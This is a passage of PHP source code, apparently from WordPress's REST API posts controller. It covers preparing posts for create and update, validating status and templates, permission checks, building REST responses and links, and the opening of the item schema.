				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		// Use the date if passed.
		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		// Return null if $date_gmt is empty/zeros.
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		// Return the formatted datetime.
		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Prepares a single post for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post  = new stdClass();
		$current_status = '';

		// Post ID.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
			$current_status    = $existing_post->post_status;
		}

		$schema = $this->get_item_schema();

		// Post title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_post->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_post->post_title = $request['title']['raw'];
			}
		}

		// Post content.
		if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$prepared_post->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$prepared_post->post_content = $request['content']['raw'];
			}
		}

		// Post excerpt.
		if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) {
			if ( is_string( $request['excerpt'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt'];
			} elseif ( isset( $request['excerpt']['raw'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt']['raw'];
			}
		}

		// Post type.
		if ( empty( $request['id'] ) ) {
			// Creating new post, use default type for the controller.
			$prepared_post->post_type = $this->post_type;
		} else {
			// Updating a post, use previous type.
			$prepared_post->post_type = get_post_type( $request['id'] );
		}

		$post_type = get_post_type_object( $prepared_post->post_type );

		// Post status.
		if (
			! empty( $schema['properties']['status'] ) &&
			isset( $request['status'] ) &&
			( ! $current_status || $current_status !== $request['status'] )
		) {
			$status = $this->handle_status_param( $request['status'], $post_type );

			if ( is_wp_error( $status ) ) {
				return $status;
			}

			$prepared_post->post_status = $status;
		}

		// Post date.
		if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) {
			$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date : false;
			$date_data    = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) && $current_date !== $date_data[0] ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date                                        = true;
			}
		} elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) {
			$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date_gmt : false;
			$date_data    = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) && $current_date !== $date_data[1] ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date                                        = true;
			}
		}

		/*
		 * Sending a null date or date_gmt value resets date and date_gmt to their
		 * default values (`0000-00-00 00:00:00`).
		 */
		if (
			( ! empty( $schema['properties']['date_gmt'] ) && $request->has_param( 'date_gmt' ) && null === $request['date_gmt'] ) ||
			( ! empty( $schema['properties']['date'] ) && $request->has_param( 'date' ) && null === $request['date'] )
		) {
			$prepared_post->post_date_gmt = null;
			$prepared_post->post_date     = null;
		}

		// Post slug.
		if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) {
			$prepared_post->post_name = $request['slug'];
		}

		// Author.
		if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error(
						'rest_invalid_author',
						__( 'Invalid author ID.' ),
						array( 'status' => 400 )
					);
				}
			}

			$prepared_post->post_author = $post_author;
		}

		// Post password.
		if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) {
			$prepared_post->post_password = $request['password'];

			if ( '' !== $request['password'] ) {
				if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
					return new WP_Error(
						'rest_invalid_field',
						__( 'A post can not be sticky and have a password.' ),
						array( 'status' => 400 )
					);
				}

				if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) {
					return new WP_Error(
						'rest_invalid_field',
						__( 'A sticky post can not be password protected.' ),
						array( 'status' => 400 )
					);
				}
			}
		}

		if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
			if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) {
				return new WP_Error(
					'rest_invalid_field',
					__( 'A password protected post can not be set to sticky.' ),
					array( 'status' => 400 )
				);
			}
		}

		// Parent.
		if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) {
			if ( 0 === (int) $request['parent'] ) {
				$prepared_post->post_parent = 0;
			} else {
				$parent = get_post( (int) $request['parent'] );

				if ( empty( $parent ) ) {
					return new WP_Error(
						'rest_post_invalid_id',
						__( 'Invalid post parent ID.' ),
						array( 'status' => 400 )
					);
				}

				$prepared_post->post_parent = (int) $parent->ID;
			}
		}

		// Menu order.
		if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) {
			$prepared_post->menu_order = (int) $request['menu_order'];
		}

		// Comment status.
		if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) {
			$prepared_post->comment_status = $request['comment_status'];
		}

		// Ping status.
		if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) {
			$prepared_post->ping_status = $request['ping_status'];
		}

		if ( ! empty( $schema['properties']['template'] ) ) {
			// Force template to null so that it can be handled exclusively by the REST controller.
			$prepared_post->page_template = null;
		}

		/**
		 * Filters a post before it is inserted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_pre_insert_post`
		 *  - `rest_pre_insert_page`
		 *  - `rest_pre_insert_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param stdClass        $prepared_post An object representing a single post prepared
		 *                                       for inserting or updating the database.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request );
	}

	/**
	 * Checks whether the status is valid for the given post.
	 *
	 * Allows for sending an update request with the current status, even if that status would not be acceptable.
	 *
	 * @since 5.6.0
	 *
	 * @param string          $status  The provided status.
	 * @param WP_REST_Request $request The request object.
	 * @param string          $param   The parameter name.
	 * @return true|WP_Error True if the status is valid, or WP_Error if not.
	 */
	public function check_status( $status, $request, $param ) {
		if ( $request['id'] ) {
			$post = $this->get_post( $request['id'] );

			if ( ! is_wp_error( $post ) && $post->post_status === $status ) {
				return true;
			}
		}

		$args = $request->get_attributes()['args'][ $param ];

		return rest_validate_value_from_schema( $status, $args, $param );
	}

	/**
	 * Determines validity and normalizes the given status parameter.
	 *
	 * @since 4.7.0
	 *
	 * @param string       $post_status Post status.
	 * @param WP_Post_Type $post_type   Post type.
	 * @return string|WP_Error Post status or WP_Error if lacking the proper permission.
	 */
	protected function handle_status_param( $post_status, $post_type ) {

		switch ( $post_status ) {
			case 'draft':
			case 'pending':
				break;
			case 'private':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error(
						'rest_cannot_publish',
						__( 'Sorry, you are not allowed to create private posts in this post type.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
				break;
			case 'publish':
			case 'future':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error(
						'rest_cannot_publish',
						__( 'Sorry, you are not allowed to publish posts in this post type.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
				break;
			default:
				if ( ! get_post_status_object( $post_status ) ) {
					$post_status = 'draft';
				}
				break;
		}

		return $post_status;
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 4.7.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {

		$featured_media = (int) $featured_media;
		if ( $featured_media ) {
			$result = set_post_thumbnail( $post_id, $featured_media );
			if ( $result ) {
				return true;
			} else {
				return new WP_Error(
					'rest_invalid_featured_media',
					__( 'Invalid featured media ID.' ),
					array( 'status' => 400 )
				);
			}
		} else {
			return delete_post_thumbnail( $post_id );
		}
	}

	/**
	 * Checks whether the template is valid for the given post.
	 *
	 * @since 4.9.0
	 *
	 * @param string          $template Page template filename.
	 * @param WP_REST_Request $request  Request.
	 * @return true|WP_Error True if template is still valid or if the same as existing value, or a WP_Error if template not supported.
	 */
	public function check_template( $template, $request ) {

		if ( ! $template ) {
			return true;
		}

		if ( $request['id'] ) {
			$post             = get_post( $request['id'] );
			$current_template = get_page_template_slug( $request['id'] );
		} else {
			$post             = null;
			$current_template = '';
		}

		// Always allow for updating a post to the same template, even if that template is no longer supported.
		if ( $template === $current_template ) {
			return true;
		}

		// If this is a create request, get_post() will return null and wp theme will fallback to the passed post type.
		$allowed_templates = wp_get_theme()->get_page_templates( $post, $this->post_type );

		if ( isset( $allowed_templates[ $template ] ) ) {
			return true;
		}

		return new WP_Error(
			'rest_invalid_param',
			/* translators: 1: Parameter, 2: List of valid values. */
			sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) )
		);
	}

	/**
	 * Sets the template for a post.
	 *
	 * @since 4.7.0
	 * @since 4.9.0 Added the `$validate` parameter.
	 *
	 * @param string $template Page template filename.
	 * @param int    $post_id  Post ID.
	 * @param bool   $validate Whether to validate that the template selected is valid.
	 */
	public function handle_template( $template, $post_id, $validate = false ) {

		if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) {
			$template = '';
		}

		update_post_meta( $post_id, '_wp_page_template', $template );
	}

	/**
	 * Updates the post's terms from a REST request.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $post_id The post ID to update the terms form.
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null.
	 */
	protected function handle_terms( $post_id, $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			$result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return null;
	}

	/**
	 * Checks whether current user can assign all terms sent with the current request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return bool Whether the current user can assign the provided terms.
	 */
	protected function check_assign_terms_permission( $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			foreach ( (array) $request[ $base ] as $term_id ) {
				// Invalid terms will be rejected later.
				if ( ! get_term( $term_id, $taxonomy->name ) ) {
					continue;
				}

				if ( ! current_user_can( 'assign_term', (int) $term_id ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Checks if a given post type can be viewed or managed.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post_Type|string $post_type Post type name or object.
	 * @return bool Whether the post type is allowed in REST.
	 */
	protected function check_is_post_type_allowed( $post_type ) {
		if ( ! is_object( $post_type ) ) {
			$post_type = get_post_type_object( $post_type );
		}

		if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be read.
	 */
	public function check_read_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );
		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		// Is the post readable?
		if ( 'publish' === $post->post_status || current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		$post_status_obj = get_post_status_object( $post->post_status );
		if ( $post_status_obj && $post_status_obj->public ) {
			return true;
		}

		// Can we read the parent if we're inheriting?
		if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) {
			$parent = get_post( $post->post_parent );
			if ( $parent ) {
				return $this->check_read_permission( $parent );
			}
		}

		/*
		 * If there isn't a parent, but the status is set to inherit, assume
		 * it's published (as per get_post_status()).
		 */
		if ( 'inherit' === $post->post_status ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be edited.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be edited.
	 */
	protected function check_update_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Checks if a post can be created.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be created.
	 */
	protected function check_create_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( $post_type->cap->create_posts );
	}

	/**
	 * Checks if a post can be deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be deleted.
	 */
	protected function check_delete_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( 'delete_post', $post->ID );
	}

	/**
	 * Prepares a single post output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			return apply_filters( "rest_prepare_{$this->post_type}", new WP_REST_Response( array() ), $post, $request );
		}

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every post.
		$data = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $post->ID;
		}

		if ( rest_is_field_included( 'date', $fields ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( rest_is_field_included( 'date_gmt', $fields ) ) {
			/*
			 * For drafts, `post_date_gmt` may not be set, indicating that the date
			 * of the draft should be updated each time it is saved (see #38883).
			 * In this case, shim the value based on the `post_date` field
			 * with the site's timezone offset applied.
			 */
			if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
				$post_date_gmt = get_gmt_from_date( $post->post_date );
			} else {
				$post_date_gmt = $post->post_date_gmt;
			}
			$data['date_gmt'] = $this->prepare_date_response( $post_date_gmt );
		}

		if ( rest_is_field_included( 'guid', $fields ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
			/*
			 * For drafts, `post_modified_gmt` may not be set (see `post_date_gmt` comments
			 * above). In this case, shim the value based on the `post_modified` field
			 * with the site's timezone offset applied.
			 */
			if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) {
				$post_modified_gmt = gmdate( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
			} else {
				$post_modified_gmt = $post->post_modified_gmt;
			}
			$data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt );
		}

		if ( rest_is_field_included( 'password', $fields ) ) {
			$data['password'] = $post->post_password;
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $post->post_status;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $post->post_type;
		}

		if ( rest_is_field_included( 'link', $fields ) ) {
			$data['link'] = get_permalink( $post->ID );
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}
		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $post->post_title;
		}
		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			$data['title']['rendered'] = get_the_title( $post->ID );

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		$has_password_filter = false;

		if ( $this->can_access_password_content( $post, $request ) ) {
			$this->password_check_passed[ $post->ID ] = true;
			// Allow access to the post, permissions already checked before.
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );

			$has_password_filter = true;
		}

		if ( rest_is_field_included( 'content', $fields ) ) {
			$data['content'] = array();
		}
		if ( rest_is_field_included( 'content.raw', $fields ) ) {
			$data['content']['raw'] = $post->post_content;
		}
		if ( rest_is_field_included( 'content.rendered', $fields ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$data['content']['rendered'] = post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content );
		}
		if ( rest_is_field_included( 'content.protected', $fields ) ) {
			$data['content']['protected'] = (bool) $post->post_password;
		}
		if ( rest_is_field_included( 'content.block_version', $fields ) ) {
			$data['content']['block_version'] = block_version( $post->post_content );
		}

		if ( rest_is_field_included( 'excerpt', $fields ) ) {
			if ( isset( $request['excerpt_length'] ) ) {
				$excerpt_length          = $request['excerpt_length'];
				$override_excerpt_length = static function () use ( $excerpt_length ) {
					return $excerpt_length;
				};

				add_filter(
					'excerpt_length',
					$override_excerpt_length,
					20
				);
			}

			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'the_excerpt', $excerpt );

			$data['excerpt'] = array(
				'raw'       => $post->post_excerpt,
				'rendered'  => post_password_required( $post ) ? '' : $excerpt,
				'protected' => (bool) $post->post_password,
			);

			if ( isset( $override_excerpt_length ) ) {
				remove_filter(
					'excerpt_length',
					$override_excerpt_length,
					20
				);
			}
		}

		if ( $has_password_filter ) {
			// Reset filter.
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( rest_is_field_included( 'featured_media', $fields ) ) {
			$data['featured_media'] = (int) get_post_thumbnail_id( $post->ID );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( rest_is_field_included( 'menu_order', $fields ) ) {
			$data['menu_order'] = (int) $post->menu_order;
		}

		if ( rest_is_field_included( 'comment_status', $fields ) ) {
			$data['comment_status'] = $post->comment_status;
		}

		if ( rest_is_field_included( 'ping_status', $fields ) ) {
			$data['ping_status'] = $post->ping_status;
		}

		if ( rest_is_field_included( 'sticky', $fields ) ) {
			$data['sticky'] = is_sticky( $post->ID );
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			$template = get_page_template_slug( $post->ID );
			if ( $template ) {
				$data['template'] = $template;
			} else {
				$data['template'] = '';
			}
		}

		if ( rest_is_field_included( 'format', $fields ) ) {
			$data['format'] = get_post_format( $post->ID );

			// Fill in blank post format.
			if ( empty( $data['format'] ) ) {
				$data['format'] = 'standard';
			}
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( rest_is_field_included( $base, $fields ) ) {
				$terms         = get_the_terms( $post, $taxonomy->name );
				$data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$permalink_template_requested = rest_is_field_included( 'permalink_template', $fields );
			$generated_slug_requested     = rest_is_field_included( 'generated_slug', $fields );

			if ( $permalink_template_requested || $generated_slug_requested ) {
				if ( ! function_exists( 'get_sample_permalink' ) ) {
					require_once ABSPATH . 'wp-admin/includes/post.php';
				}

				$sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' );

				if ( $permalink_template_requested ) {
					$data['permalink_template'] = $sample_permalink[0];
				}

				if ( $generated_slug_requested ) {
					$data['generated_slug'] = $sample_permalink[1];
				}
			}

			if ( rest_is_field_included( 'class_list', $fields ) ) {
				$data['class_list'] = get_post_class( array(), $post->ID );
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $post );
			$response->add_links( $links );

			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $post, $request );

				$self = $links['self']['href'];

				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		/**
		 * Filters the post data for a REST API response.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_prepare_post`
		 *  - `rest_prepare_page`
		 *  - `rest_prepare_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request );
	}

	/**
	 * Overwrites the default protected and private title format.
	 *
	 * By default, WordPress will show password protected or private posts with a title of
	 * "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
	 * in a machine-readable format, we remove the prefix.
	 *
	 * @since 4.7.0
	 *
	 * @return string Title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		$links = array(
			'self'       => array(
				'href' => rest_url( rest_get_route_for_post( $post->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
			),
			'about'      => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) )
			&& ! empty( $post->post_author ) ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $post->post_author ),
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) {
			$replies_url = rest_url( 'wp/v2/comments' );
			$replies_url = add_query_arg( 'post', $post->ID, $replies_url );

			$links['replies'] = array(
				'href'       => $replies_url,
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) {
			$revisions       = wp_get_latest_revision_id_and_total_count( $post->ID );
			$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
			$revisions_base  = sprintf( '/%s/%s/%d/revisions', $this->namespace, $this->rest_base, $post->ID );

			$links['version-history'] = array(
				'href'  => rest_url( $revisions_base ),
				'count' => $revisions_count,
			);

			if ( $revisions_count > 0 ) {
				$links['predecessor-version'] = array(
					'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
					'id'   => $revisions['latest_id'],
				);
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );

		if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) {
			$links['up'] = array(
				'href'       => rest_url( rest_get_route_for_post( $post->post_parent ) ),
				'embeddable' => true,
			);
		}

		// If we have a featured media, add that.
		$featured_media = get_post_thumbnail_id( $post->ID );
		if ( $featured_media ) {
			$image_url = rest_url( rest_get_route_for_post( $featured_media ) );

			$links['https://api.w.org/featuredmedia'] = array(
				'href'       => $image_url,
				'embeddable' => true,
			);
		}

		if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) {
			$attachments_url = rest_url( rest_get_route_for_post_type_items( 'attachment' ) );
			$attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url );

			$links['https://api.w.org/attachment'] = array(
				'href' => $attachments_url,
			);
		}

		$taxonomies = get_object_taxonomies( $post->post_type );

		if ( ! empty( $taxonomies ) ) {
			$links['https://api.w.org/term'] = array();

			foreach ( $taxonomies as $tax ) {
				$taxonomy_route = rest_get_route_for_taxonomy_items( $tax );

				// Skip taxonomies that are not public.
				if ( empty( $taxonomy_route ) ) {
					continue;
				}
				$terms_url = add_query_arg(
					'post',
					$post->ID,
					rest_url( $taxonomy_route )
				);

				$links['https://api.w.org/term'][] = array(
					'href'       => $terms_url,
					'taxonomy'   => $tax,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Gets the link relations available for the post and current user.
	 *
	 * @since 4.9.8
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return array List of link relations.
	 */
	protected function get_available_actions( $post, $request ) {

		if ( 'edit' !== $request['context'] ) {
			return array();
		}

		$rels = array();

		$post_type = get_post_type_object( $post->post_type );

		if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		if ( 'post' === $post_type->name ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) {
				$rels[] = 'https://api.w.org/action-sticky';
			}
		}

		if ( post_type_supports( $post_type->name, 'author' ) ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) ) {
				$rels[] = 'https://api.w.org/action-assign-author';
			}
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base   = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
			$create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms;

			if ( current_user_can( $create_cap ) ) {
				$rels[] = 'https://api.w.org/action-create-' . $tax_base;
			}

			if ( current_user_can( $tax->cap->assign_terms ) ) {
				$rels[] = 'https://api.w.org/action-assign-' . $tax_base;
			}
		}

		return $rels;
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'date'         => array(
					'description' => __( "The date the post was published, in the site's timezone." ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the post was published, as GMT.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'         => array(
					'description' => __( 'The globally unique identifier for the post.' ),
					'type'        => 'object',
